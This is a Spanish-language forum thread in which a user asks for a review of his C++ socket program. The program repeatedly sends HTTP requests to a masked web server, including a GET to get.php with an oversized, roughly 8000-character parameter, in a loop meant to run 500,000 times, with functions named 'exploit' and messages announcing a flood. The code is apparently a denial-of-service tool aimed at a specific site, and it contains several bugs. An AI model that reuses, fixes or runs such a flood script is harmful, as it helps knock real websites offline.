elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Socket en c , peticiones http .
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Socket en c , peticiones http .  (Leído 3,261 veces)
ThePinkPanther

Desconectado Desconectado

Mensajes: 82



Ver Perfil
Socket en c , peticiones http .
« en: 7 Mayo 2013, 05:27 am »

Hola, quisiera saber si esto deberia de funcionar!!

Estas son mis peticiones que luego envio por send

Código:
    const char *peticion2="GET /get.php?aA=juan HTTP/1.1 \r\n";
    const char * host="HOST: xxx.com\r\n";
    const char *peticion3="Connection: keep-alive\r\n\r\n";

send(musocket[i],peticion2,sizeof(peticion2)+longp2,0);
send(musocket[i],host,sizeof(host)+longhost,0);
send(musocket[i],peticion3,sizeof(peticion3)+longp3,0);

LLegaria bien la peticion http al servidor,estoy haciendo bien las cosas ?? , las variables long son la longitud de cadena de las constantes char.. , y el arreglo musocket,son socket conectados a un servidor web por el puerto 80 ..

gracias de antemano.


En línea

ThePinkPanther

Desconectado Desconectado

Mensajes: 82



Ver Perfil
Re: Socket en c , peticiones http .
« Respuesta #1 en: 7 Mayo 2013, 07:14 am »

Si alguien tiene tiempo , estoy tratando de hacer un programa que envie cabeceras masivas http preparadas de antemano ... si alguien tiene un poco de tiempo y revisa mi codigo, que me diga si las cabeceras se envian de la forma que quiero..

La forma que quiero es que haga una peticion GET al archivo get.php
y al ranking..
ese archivo tiene una variable aA donde se ingresan datos, y ingreso una cadena de 8000 caracteres

este programa enviaria masivamente esa cabecera con esos caracteres ? alguien puede fijarse. ?

Citar
#include <iostream>
#include <stdio.h>
#include <cstring>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#define PUERTO 80



using namespace std;
struct sockaddr_in config;
//longitudes de cadenas
void exploitr();
void exploitg();

int longitudp1; //longitud peticion1
int longitudp2; //longitud peticion2
int longitudp3; //longitud peticion3
int longitudp4; //longitud cadena al get.php
int contador; //contador cuantas veces se va a mandar los paquetes.
//

//peticiones
    const char *peticion1="GET /index.php?page_id=rankings HTTP/1.1\r\n";
    const char *peticion2="HOST: xxxx\r\n";
    const char *peticion3="Connection: keep-alive\r\n\r\n";
    const char *peticion4="GET /get.php?aA=pphamtomhamphaphamtompmtomphaphamtophmamtophamtommmmtomphpphamtomphamtomphamtomphamtomphamtomhamphamtomtomphamtophamtommaphamtophphamtomamtommphamtommphamtphamtomomtomphpphamtomphamtomphphamtophamphamtomtomphamtommamphphamtomamtophamtommtomphamtphamtomphaphamtommtomomppphamtomhamtphamtomomhamtompphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomamtomphamphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomtomphamtomphamtomphamtomphamtompphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomtomphamtomphamtomphamtompphamtomphamtomphamtophamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtommphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtompphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomaphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphaphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtommtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtom HTTP/1.1\r\n";

//
int main()
{
    //configuracion
    config.sin_family=AF_INET;
    config.sin_port=htons(PUERTO);
    config.sin_addr.s_addr=inet_addr("xxxx");
    //


   do
    {
        exploitr();
        exploitg();
    }while(contador<500000);

    return 0;
}





//comienza funcion exploit al ranking
void exploitr()
{

        longitudp1=strlen(peticion1);
    longitudp2=strlen(peticion2);
    longitudp3=strlen(peticion3);

    int n;
    int *p;
p=new int;
*p=socket(AF_INET,SOCK_STREAM,0);
connect(*p ,(struct sockaddr *)&config, sizeof (struct sockaddr));

//Flood al ranking..
n=send(*p,peticion1,sizeof(peticion1)+longitudp1,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios. RANKING"<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas - OK RANKING"<<endl;
    n=-1;

}

n=send(*p,peticion2,sizeof(peticion2)+longitudp2,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas HOST - OK"<<endl;
    n=-1;

}
n=send(*p,peticion3,sizeof(peticion3)+longitudp3,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas Connection - OK"<<endl;
    n=-1;

}


cout<<"--------------------"<<endl;


delete []p;

return ;
}


//comienza funcion exploit al get
void exploitg()
{

    longitudp2=strlen(peticion2);
    longitudp3=strlen(peticion3);
        longitudp4=strlen(peticion4);
            int n;
    int *p;
p=new int;
*p=socket(AF_INET,SOCK_STREAM,0);
connect(*p ,(struct sockaddr *)&config, sizeof (struct sockaddr));


n=send(*p,peticion4,sizeof(peticion4)+longitudp4,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas GET.PHP- OK "<<endl;
    n=-1;

}

n=send(*p,peticion2,sizeof(peticion2)+longitudp2,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas HOST  - OK"<<endl;
    n=-1;

}

n=send(*p,peticion3,sizeof(peticion3)+longitudp3,0);
if(n<0)
{
    cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
    cout<<"Floading ... Cabeseras enviadas CONECTION - OK"<<endl;
    n=-1;

}

}


//fin del programa




« Última modificación: 7 Mayo 2013, 07:16 am por ThePinkPanther » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
peticiones http
Programación Visual Basic
elmaro 2 2,257 Último mensaje 27 Agosto 2006, 22:59 pm
por maxnet
Pregunta sobre peticiones HTTP con Wininet
Programación C/C++
Riki_89D 3 2,655 Último mensaje 9 Agosto 2011, 22:23 pm
por Riki_89D
Peticiones http + certificado digital
.NET (C#, VB.NET, ASP)
vmontes84 1 2,467 Último mensaje 16 Noviembre 2012, 13:46 pm
por Novlucker
Encapsular tráfico HTTP y HTTPS en peticiones DNS
Redes
Pedro_madrid 0 4,219 Último mensaje 30 Junio 2014, 19:41 pm
por Pedro_madrid
[Resuelto] ¿Las peticiones JS se ejecutan si se manda un http en petición?
Desarrollo Web
scott_ 7 3,466 Último mensaje 6 Marzo 2015, 01:53 am
por scott_
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines